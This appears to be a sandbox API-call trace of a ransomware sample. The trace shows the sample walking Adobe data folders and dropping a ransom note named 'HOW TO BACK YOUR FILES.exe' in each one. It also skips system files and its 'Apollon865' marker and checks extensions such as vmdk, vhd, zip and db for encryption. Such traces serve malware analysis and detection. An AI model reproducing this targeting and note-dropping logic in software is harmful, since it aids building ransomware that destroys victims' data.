	[0085.445] WriteFile (in: hFile=0x10c, lpBuffer=0x119f5f0*, nNumberOfBytesToWrite=0x45, lpNumberOfBytesWritten=0x119e2bc, lpOverlapped=0x0 | out: lpBuffer=0x119f5f0*, lpNumberOfBytesWritten=0x119e2bc*=0x45, lpOverlapped=0x0) returned 1
	[0085.445] CloseHandle (hObject=0x10c) returned 1
	[0085.445] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b79f0
	[0085.445] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Adobe", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Adobe") returned="C:\\Users\\All Users\\Adobe"
	[0085.445] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca2d0 | out: hHeap=0x580000) returned 1
	[0085.445] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79e8 | out: hHeap=0x580000) returned 1
	[0085.445] lstrlenW (lpString="C:\\Users\\All Users\\Adobe") returned 24
	[0085.445] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Adobe" | out: lpString1="C:\\Users\\All Users\\Adobe") returned="C:\\Users\\All Users\\Adobe"
	[0085.445] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0085.445] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Adobe\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\adobe\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0085.446] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0085.446] GetLastError () returned 0x0
	[0085.446] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0085.446] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0085.446] CloseHandle (hObject=0x10c) returned 1
	[0085.446] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0085.446] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0085.446] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x30056890, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30056890, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0085.447] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0085.447] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0085.447] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0085.447] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x30056890, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30056890, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0085.447] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0085.447] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0085.447] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0085.447] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0085.447] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x300a2b50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x300a2b50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1
	[0085.447] lstrcmpiW (lpString1="Acrobat", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0085.447] lstrcmpiW (lpString1="Acrobat", lpString2="Apollon865.txt.exe") returned -1
	[0085.447] lstrcmpiW (lpString1="Acrobat", lpString2=".") returned 1
	[0085.447] lstrcmpiW (lpString1="Acrobat", lpString2="..") returned 1
	[0085.447] lstrcmpiW (lpString1="Acrobat", lpString2="windows") returned -1
	[0085.447] lstrcmpiW (lpString1="Acrobat", lpString2="bootmgr") returned -1
	[0085.447] lstrcmpiW (lpString1="Acrobat", lpString2="temp") returned -1
	[0085.447] lstrcmpiW (lpString1="Acrobat", lpString2="pagefile.sys") returned -1
	[0085.447] lstrcmpiW (lpString1="Acrobat", lpString2="boot") returned -1
	[0085.447] lstrcmpiW (lpString1="Acrobat", lpString2="ids.txt") returned -1
	[0085.447] lstrcmpiW (lpString1="Acrobat", lpString2="ntuser.dat") returned -1
	[0085.447] lstrcmpiW (lpString1="Acrobat", lpString2="perflogs") returned -1
	[0085.447] lstrcmpiW (lpString1="Acrobat", lpString2="MSBuild") returned -1
	[0085.447] lstrlenW (lpString="Acrobat") returned 7
	[0085.447] lstrlenW (lpString="C:\\Users\\All Users\\Adobe\\*") returned 26
	[0085.447] lstrcpyW (in: lpString1=0x119e63a, lpString2="Acrobat" | out: lpString1="Acrobat") returned="Acrobat"
	[0085.447] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b79e8
	[0085.447] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x42) returned 0x5bdca8
	[0085.447] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b79f0 | out: ListHead=0x5b75f0, ListEntry=0x5b79f0) returned 0x5b79d0
	[0085.447] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x30056890, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30056890, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ARM", cAlternateFileName="")) returned 1
	[0085.447] lstrcmpiW (lpString1="ARM", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0085.447] lstrcmpiW (lpString1="ARM", lpString2="Apollon865.txt.exe") returned 1
	[0085.447] lstrcmpiW (lpString1="ARM", lpString2=".") returned 1
	[0085.447] lstrcmpiW (lpString1="ARM", lpString2="..") returned 1
	[0085.447] lstrcmpiW (lpString1="ARM", lpString2="windows") returned -1
	[0085.447] lstrcmpiW (lpString1="ARM", lpString2="bootmgr") returned -1
	[0085.447] lstrcmpiW (lpString1="ARM", lpString2="temp") returned -1
	[0085.448] lstrcmpiW (lpString1="ARM", lpString2="pagefile.sys") returned -1
	[0085.448] lstrcmpiW (lpString1="ARM", lpString2="boot") returned -1
	[0085.448] lstrcmpiW (lpString1="ARM", lpString2="ids.txt") returned -1
	[0085.448] lstrcmpiW (lpString1="ARM", lpString2="ntuser.dat") returned -1
	[0085.448] lstrcmpiW (lpString1="ARM", lpString2="perflogs") returned -1
	[0085.448] lstrcmpiW (lpString1="ARM", lpString2="MSBuild") returned -1
	[0085.448] lstrlenW (lpString="ARM") returned 3
	[0085.448] lstrlenW (lpString="C:\\Users\\All Users\\Adobe\\Acrobat") returned 32
	[0085.448] lstrcpyW (in: lpString1=0x119e63a, lpString2="ARM" | out: lpString1="ARM") returned="ARM"
	[0085.448] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a08
	[0085.448] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x3a) returned 0x5b62c8
	[0085.448] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7a10 | out: ListHead=0x5b75f0, ListEntry=0x5b7a10) returned 0x5b79f0
	[0085.448] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30056890, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x30056890, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0085.448] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0085.448] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30056890, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x30056890, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0085.448] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0085.448] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7a10
	[0085.448] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Adobe\\ARM", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Adobe\\ARM") returned="C:\\Users\\All Users\\Adobe\\ARM"
	[0085.448] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b62c8 | out: hHeap=0x580000) returned 1
	[0085.448] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a08 | out: hHeap=0x580000) returned 1
	[0085.448] lstrlenW (lpString="C:\\Users\\All Users\\Adobe\\ARM") returned 28
	[0085.448] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Adobe\\ARM" | out: lpString1="C:\\Users\\All Users\\Adobe\\ARM") returned="C:\\Users\\All Users\\Adobe\\ARM"
	[0085.448] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0085.448] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Adobe\\ARM\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\adobe\\arm\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0085.449] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0085.449] GetLastError () returned 0x0
	[0085.449] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0085.449] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0085.449] CloseHandle (hObject=0x10c) returned 1
	[0085.449] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0085.449] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0085.449] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x30056890, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30056890, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0085.449] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0085.450] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0085.450] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0085.450] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x30056890, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30056890, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0085.450] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0085.450] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0085.450] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0085.450] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0085.450] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30056890, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x30056890, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0085.450] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0085.450] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3007c9f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3007c9f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Reader_10.0.0", cAlternateFileName="READER~1.0")) returned 1
	[0085.450] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0085.450] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="Apollon865.txt.exe") returned 1
	[0085.450] lstrcmpiW (lpString1="Reader_10.0.0", lpString2=".") returned 1
	[0085.450] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="..") returned 1
	[0085.450] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="windows") returned -1
	[0085.450] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="bootmgr") returned 1
	[0085.450] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="temp") returned -1
	[0085.450] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="pagefile.sys") returned 1
	[0085.450] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="boot") returned 1
	[0085.450] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="ids.txt") returned 1
	[0085.450] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="ntuser.dat") returned 1
	[0085.450] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="perflogs") returned 1
	[0085.450] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="MSBuild") returned 1
	[0085.450] lstrlenW (lpString="Reader_10.0.0") returned 13
	[0085.450] lstrlenW (lpString="C:\\Users\\All Users\\Adobe\\ARM\\*") returned 30
	[0085.450] lstrcpyW (in: lpString1=0x119e642, lpString2="Reader_10.0.0" | out: lpString1="Reader_10.0.0") returned="Reader_10.0.0"
	[0085.450] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a08
	[0085.450] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x56) returned 0x5983a8
	[0085.450] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7a10 | out: ListHead=0x5b75f0, ListEntry=0x5b7a10) returned 0x5b79f0
	[0085.450] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3007c9f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3007c9f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Reader_10.0.0", cAlternateFileName="READER~1.0")) returned 0
	[0085.450] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0085.450] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7a10
	[0085.450] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0") returned="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0"
	[0085.450] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5983a8 | out: hHeap=0x580000) returned 1
	[0085.451] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a08 | out: hHeap=0x580000) returned 1
	[0085.451] lstrlenW (lpString="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0") returned 42
	[0085.451] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0" | out: lpString1="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0") returned="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0"
	[0085.451] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0085.451] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\adobe\\arm\\reader_10.0.0\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0085.451] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0085.451] GetLastError () returned 0x0
	[0085.451] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0085.451] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0085.452] CloseHandle (hObject=0x10c) returned 1
	[0085.452] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0085.452] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0085.452] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3007c9f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3007c9f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0085.452] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0085.452] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0085.452] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0085.452] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3007c9f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3007c9f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0085.452] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0085.452] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0085.452] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0085.452] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0085.452] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e186d00, ftCreationTime.dwHighDateTime=0x1cfb543, ftLastAccessTime.dwLowDateTime=0x7e186d00, ftLastAccessTime.dwHighDateTime=0x1cfb543, ftLastWriteTime.dwLowDateTime=0x7e186d00, ftLastWriteTime.dwHighDateTime=0x1cfb543, nFileSizeHigh=0x0, nFileSizeLow=0x3d800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AdbeRdrSecUpd10111.msp", cAlternateFileName="ADBERD~2.MSP")) returned 1
	[0085.452] lstrcmpiW (lpString1="AdbeRdrSecUpd10111.msp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0085.452] lstrcmpiW (lpString1="AdbeRdrSecUpd10111.msp", lpString2="Apollon865.txt.exe") returned -1
	[0085.452] lstrcmpiW (lpString1="AdbeRdrSecUpd10111.msp", lpString2=".") returned 1
	[0085.452] lstrcmpiW (lpString1="AdbeRdrSecUpd10111.msp", lpString2="..") returned 1
	[0085.452] lstrcmpiW (lpString1="AdbeRdrSecUpd10111.msp", lpString2="windows") returned -1
	[0085.452] lstrcmpiW (lpString1="AdbeRdrSecUpd10111.msp", lpString2="bootmgr") returned -1
	[0085.452] lstrcmpiW (lpString1="AdbeRdrSecUpd10111.msp", lpString2="temp") returned -1
	[0085.452] lstrcmpiW (lpString1="AdbeRdrSecUpd10111.msp", lpString2="pagefile.sys") returned -1
	[0085.452] lstrcmpiW (lpString1="AdbeRdrSecUpd10111.msp", lpString2="boot") returned -1
	[0085.452] lstrcmpiW (lpString1="AdbeRdrSecUpd10111.msp", lpString2="ids.txt") returned -1
	[0085.452] lstrcmpiW (lpString1="AdbeRdrSecUpd10111.msp", lpString2="ntuser.dat") returned -1
	[0085.452] lstrcmpiW (lpString1="AdbeRdrSecUpd10111.msp", lpString2="perflogs") returned -1
	[0085.452] lstrcmpiW (lpString1="AdbeRdrSecUpd10111.msp", lpString2="MSBuild") returned -1
	[0085.452] lstrlenW (lpString="AdbeRdrSecUpd10111.msp") returned 22
	[0085.453] lstrlenW (lpString="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\*") returned 44
	[0085.453] lstrcpyW (in: lpString1=0x119e65e, lpString2="AdbeRdrSecUpd10111.msp" | out: lpString1="AdbeRdrSecUpd10111.msp") returned="AdbeRdrSecUpd10111.msp"
	[0085.453] lstrlenW (lpString="AdbeRdrSecUpd10111.msp") returned 22
	[0085.453] lstrlenW (lpString="Apollon865") returned 10
	[0085.453] lstrcmpiW (lpString1="d10111.msp", lpString2="Apollon865") returned 1
	[0085.453] lstrlenW (lpString=".dll") returned 4
	[0085.453] lstrcmpiW (lpString1="AdbeRdrSecUpd10111.msp", lpString2=".dll") returned 1
	[0085.453] lstrlenW (lpString=".lnk") returned 4
	[0085.453] lstrcmpiW (lpString1="AdbeRdrSecUpd10111.msp", lpString2=".lnk") returned 1
	[0085.453] lstrlenW (lpString=".ini") returned 4
	[0085.453] lstrcmpiW (lpString1="AdbeRdrSecUpd10111.msp", lpString2=".ini") returned 1
	[0085.453] lstrlenW (lpString=".sys") returned 4
	[0085.453] lstrcmpiW (lpString1="AdbeRdrSecUpd10111.msp", lpString2=".sys") returned 1
	[0085.453] lstrlenW (lpString="AdbeRdrSecUpd10111.msp") returned 22
	[0085.453] lstrlenW (lpString="bak") returned 3
	[0085.453] lstrcmpiW (lpString1="msp", lpString2="bak") returned 1
	[0085.453] lstrlenW (lpString="ba_") returned 3
	[0085.453] lstrcmpiW (lpString1="msp", lpString2="ba_") returned 1
	[0085.453] lstrlenW (lpString="dbb") returned 3
	[0085.453] lstrcmpiW (lpString1="msp", lpString2="dbb") returned 1
	[0085.453] lstrlenW (lpString="vmdk") returned 4
	[0085.453] lstrcmpiW (lpString1=".msp", lpString2="vmdk") returned -1
	[0085.453] lstrlenW (lpString="rar") returned 3
	[0085.453] lstrcmpiW (lpString1="msp", lpString2="rar") returned -1
	[0085.453] lstrlenW (lpString="zip") returned 3
	[0085.453] lstrcmpiW (lpString1="msp", lpString2="zip") returned -1
	[0085.453] lstrlenW (lpString="tgz") returned 3
	[0085.453] lstrcmpiW (lpString1="msp", lpString2="tgz") returned -1
	[0085.453] lstrlenW (lpString="vbox") returned 4
	[0085.453] lstrcmpiW (lpString1=".msp", lpString2="vbox") returned -1
	[0085.453] lstrlenW (lpString="vdi") returned 3
	[0085.453] lstrcmpiW (lpString1="msp", lpString2="vdi") returned -1
	[0085.453] lstrlenW (lpString="vhd") returned 3
	[0085.453] lstrcmpiW (lpString1="msp", lpString2="vhd") returned -1
	[0085.453] lstrlenW (lpString="vhdx") returned 4
	[0085.453] lstrcmpiW (lpString1=".msp", lpString2="vhdx") returned -1
	[0085.453] lstrlenW (lpString="avhd") returned 4
	[0085.454] lstrcmpiW (lpString1=".msp", lpString2="avhd") returned -1
	[0085.454] lstrlenW (lpString="db") returned 2
	[0085.454] lstrcmpiW (lpString1="sp", lpString2="db") returned 1
	[0085.454] lstrlenW (lpString="db2") returned 3
	[0085.454] lstrcmpiW (lpString1="msp", lpString2="db2") returned 1
